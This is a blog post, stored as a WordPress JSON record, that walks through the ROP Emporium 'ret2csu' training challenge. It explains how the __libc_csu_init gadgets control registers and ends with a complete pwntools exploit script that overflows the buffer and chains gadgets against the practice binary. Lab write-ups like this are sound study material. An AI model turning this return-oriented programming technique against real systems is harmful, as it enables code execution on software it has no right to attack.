{"id":131,"date":"2021-03-13T03:10:55","date_gmt":"2021-03-13T03:10:55","guid":{"rendered":"https:\/\/blog.bpcspace.com\/?p=131"},"modified":"2021-03-13T03:10:55","modified_gmt":"2021-03-13T03:10:55","slug":"ret2csu","status":"publish","type":"post","link":"https:\/\/blog.bpcspace.com\/?p=131","title":{"rendered":"ret2csu"},"content":{"rendered":"\n<p>This was the last challenge from Max Kamper&#8217;s <a href=\"https:\/\/ropemporium.com\/\">ROP Emporium<\/a>. It wasn&#8217;t especially hard, but it teaches a <a href=\"https:\/\/i.blackhat.com\/briefings\/asia\/2018\/asia-18-Marco-return-to-csu-a-new-method-to-bypass-the-64-bit-Linux-ASLR-wp.pdf\" data-type=\"URL\" data-id=\"https:\/\/i.blackhat.com\/briefings\/asia\/2018\/asia-18-Marco-return-to-csu-a-new-method-to-bypass-the-64-bit-Linux-ASLR-wp.pdf\">strategy<\/a> that&#8217;s extremely useful for ROP attacks that (supposedly) works universally on most Linux binaries.<\/p>\n\n\n\n<p>To start, all ROP emporium levels have the same basic buffer overflow to overwrite the return address. The site says the objective is to call <code>ret2win(0xdeadbeefdeadbeef, 0xcafebabecafebabe, 0xd00df00dd00df00d)<\/code>. <\/p>\n\n\n\n<p>Using <code>checksec<\/code>, we get this:<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1389\" height=\"88\" src=\"http:\/\/blog.bpcspace.com\/wp-content\/uploads\/2021\/03\/image-40.png\" alt=\"\" class=\"wp-image-133\" srcset=\"https:\/\/blog.bpcspace.com\/wp-content\/uploads\/2021\/03\/image-40.png 1389w, https:\/\/blog.bpcspace.com\/wp-content\/uploads\/2021\/03\/image-40-300x19.png 300w, https:\/\/blog.bpcspace.com\/wp-content\/uploads\/2021\/03\/image-40-1024x65.png 1024w, https:\/\/blog.bpcspace.com\/wp-content\/uploads\/2021\/03\/image-40-768x49.png 768w\" sizes=\"auto, (max-width: 1389px) 100vw, 1389px\" \/><\/figure><\/div>\n\n\n\n<p>Unsurprisingly, there&#8217;s no PIE, canary, or anything unusual for this series. Looking for ROP gadgets we see where the challenge comes in.<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1059\" height=\"68\" src=\"http:\/\/blog.bpcspace.com\/wp-content\/uploads\/2021\/03\/image-41.png\" alt=\"\" class=\"wp-image-135\" srcset=\"https:\/\/blog.bpcspace.com\/wp-content\/uploads\/2021\/03\/image-41.png 1059w, https:\/\/blog.bpcspace.com\/wp-content\/uploads\/2021\/03\/image-41-300x19.png 300w, https:\/\/blog.bpcspace.com\/wp-content\/uploads\/2021\/03\/image-41-1024x66.png 1024w, https:\/\/blog.bpcspace.com\/wp-content\/uploads\/2021\/03\/image-41-768x49.png 768w\" sizes=\"auto, (max-width: 1059px) 100vw, 1059px\" \/><\/figure><\/div>\n\n\n\n<p>There&#8217;s no viable way to modify rdx. However, if we look at the symbols, you might see something familiar. <\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"828\" height=\"707\" src=\"http:\/\/blog.bpcspace.com\/wp-content\/uploads\/2021\/03\/image-42.png\" alt=\"\" class=\"wp-image-136\" srcset=\"https:\/\/blog.bpcspace.com\/wp-content\/uploads\/2021\/03\/image-42.png 828w, https:\/\/blog.bpcspace.com\/wp-content\/uploads\/2021\/03\/image-42-300x256.png 300w, https:\/\/blog.bpcspace.com\/wp-content\/uploads\/2021\/03\/image-42-768x656.png 768w\" sizes=\"auto, (max-width: 828px) 100vw, 828px\" \/><\/figure><\/div>\n\n\n\n<p>See it? There&#8217;s a function called <code>__libc_csu_init<\/code> and another called <code>__libc_csu_fini<\/code>. Based on the title of the challenge, these look important. These functions are responsible for <a href=\"https:\/\/www.gnu.org\/software\/hurd\/glibc\/startup.html\">initializing and destroying the program<\/a>, and are present in every Linux ELF compiled with gcc (with exceptions, I&#8217;m sure). Let&#8217;s disassemble <code>__libc_csu_init<\/code>.<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1209\" height=\"947\" src=\"http:\/\/blog.bpcspace.com\/wp-content\/uploads\/2021\/03\/image-43.png\" alt=\"\" class=\"wp-image-137\" srcset=\"https:\/\/blog.bpcspace.com\/wp-content\/uploads\/2021\/03\/image-43.png 1209w, https:\/\/blog.bpcspace.com\/wp-content\/uploads\/2021\/03\/image-43-300x235.png 300w, https:\/\/blog.bpcspace.com\/wp-content\/uploads\/2021\/03\/image-43-1024x802.png 1024w, https:\/\/blog.bpcspace.com\/wp-content\/uploads\/2021\/03\/image-43-768x602.png 768w\" sizes=\"auto, (max-width: 1209px) 100vw, 1209px\" \/><\/figure><\/div>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large\"><img decoding=\"async\" src=\"http:\/\/blog.bpcspace.com\/wp-content\/uploads\/2021\/03\/image-44.png\" alt=\"\" class=\"wp-image-138\"\/><figcaption>the important part<\/figcaption><\/figure><\/div>\n\n\n\n<p>If you look  at the last few instructions you&#8217;ll see you can pop into various registers. At <code>0x400680<\/code>, you&#8217;ll see that r15 and r14 are moved into rdx and rsi. The only problem is that there&#8217;s no immediate return. Further more,  r13d is moved into edi, meaning that we can&#8217;t just call <code>ret2win<\/code> in the next instruction, and even if we could we&#8217;d have to find somewhere that contains it&#8217;s address. If we go further down the function, you&#8217;ll see there&#8217;s a simple comparison of rbx and rbp after an increment, which we want to pass to avoid <code>__libc_csu_init+0x40<\/code>. So we need to call a function that won&#8217;t crash our program or mess with our stack pointer, along with passing this condition. We can control the required registers no problem, so it&#8217;s just a matter of finding a function that won&#8217;t crash the program. I disassembled the entire program (it&#8217;s not big) and found the perfect function: <\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large\"><img decoding=\"async\" src=\"http:\/\/blog.bpcspace.com\/wp-content\/uploads\/2021\/03\/image-45.png\" alt=\"\" class=\"wp-image-139\"\/><\/figure><\/div>\n\n\n\n<p>I&#8217;m pretty sure it was put in there just for us, as it&#8217;s effectively useless. In another binary, you&#8217;d just need to find a function that returns without messing things up.<\/p>\n\n\n\n<p>The last register we need to take care of is rdi, which isn&#8217;t hard to find.<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1074\" height=\"40\" src=\"http:\/\/blog.bpcspace.com\/wp-content\/uploads\/2021\/03\/image-47.png\" alt=\"\" class=\"wp-image-142\" srcset=\"https:\/\/blog.bpcspace.com\/wp-content\/uploads\/2021\/03\/image-47.png 1074w, https:\/\/blog.bpcspace.com\/wp-content\/uploads\/2021\/03\/image-47-300x11.png 300w, https:\/\/blog.bpcspace.com\/wp-content\/uploads\/2021\/03\/image-47-1024x38.png 1024w, https:\/\/blog.bpcspace.com\/wp-content\/uploads\/2021\/03\/image-47-768x29.png 768w\" sizes=\"auto, (max-width: 1074px) 100vw, 1074px\" \/><\/figure><\/div>\n\n\n\n<p>Once we pop the registers starting at address <code>0x400680<\/code>, pass the rest of the function, we return to our gadget to set rdi, then call <code>ret2win@plt<\/code> (in <code>.plt<\/code> because <code>ret2win<\/code> resides in the <code>ret2win.so<\/code> library). So, we slap that all together to get a working exploit, and we get:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>#!\/usr\/bin\/env python3\nfrom pwn import *\n\nprog = process('.\/ret2csu')\npayload = b''\nfor c in range(40): # just the basic overflow \n    payload += b'a'\n\npayload += p64(0x40069a)\npayload += p64(0)                       # rbx\npayload += p64(1)                       # rbp\npayload += p64(0x6003b0)                # r12 &lt;-- fini\npayload += p64(0x0)                     # r13 will clear half of register\npayload += p64(0xcafebabecafebabe)      # r14\npayload += p64(0xd00df00dd00df00d)      # r15\npayload += p64(0x400680)\n\n# all these zeros are just to get us over the unwanted pop instructions before returning\npayload += p64(0x0)\npayload += p64(0x0)\npayload += p64(0x0)\npayload += p64(0x0)\npayload += p64(0x0)\npayload += p64(0x0)\npayload += p64(0x0)\npayload += p64(0x4006a3) # gadget to set rdi\npayload += p64(0xdeadbeefdeadbeef)\n\npayload += p64(0x400510) # ret2win@plt\n\n\nprog.sendline(payload)\nflag = prog.readline_containsS(\"ROPE\")\nprint(\"Flag: {}\\n\".format(flag))<\/code><\/pre>\n\n\n\n<p>It works!<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"823\" height=\"122\" src=\"http:\/\/blog.bpcspace.com\/wp-content\/uploads\/2021\/03\/image-49.png\" alt=\"\" class=\"wp-image-144\" srcset=\"https:\/\/blog.bpcspace.com\/wp-content\/uploads\/2021\/03\/image-49.png 823w, https:\/\/blog.bpcspace.com\/wp-content\/uploads\/2021\/03\/image-49-300x44.png 300w, https:\/\/blog.bpcspace.com\/wp-content\/uploads\/2021\/03\/image-49-768x114.png 768w\" sizes=\"auto, (max-width: 823px) 100vw, 823px\" \/><\/figure><\/div>\n\n\n\n<p><\/p>\n","protected":false},"excerpt":{"rendered":"<p>This was the last challenge from Max Kamper&#8217;s ROP Emporium. It wasn&#8217;t especially hard, but it teaches a strategy that&#8217;s extremely useful for ROP attacks that (supposedly) works universally on most Linux binaries. To start, all ROP emporium levels have the same basic buffer overflow to overwrite the return address. The site says the objective [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"templates\/template-full-width.php","format":"standard","meta":{"footnotes":""},"categories":[7,8],"tags":[],"class_list":["post-131","post","type-post","status-publish","format-standard","hentry","category-rop","category-rop-emporium"],"_links":{"self":[{"href":"https:\/\/blog.bpcspace.com\/index.php?rest_route=\/wp\/v2\/posts\/131","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.bpcspace.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.bpcspace.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.bpcspace.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.bpcspace.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=131"}],"version-history":[{"count":0,"href":"https:\/\/blog.bpcspace.com\/index.php?rest_route=\/wp\/v2\/posts\/131\/revisions"}],"wp:attachment":[{"href":"https:\/\/blog.bpcspace.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=131"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.bpcspace.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=131"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.bpcspace.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=131"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}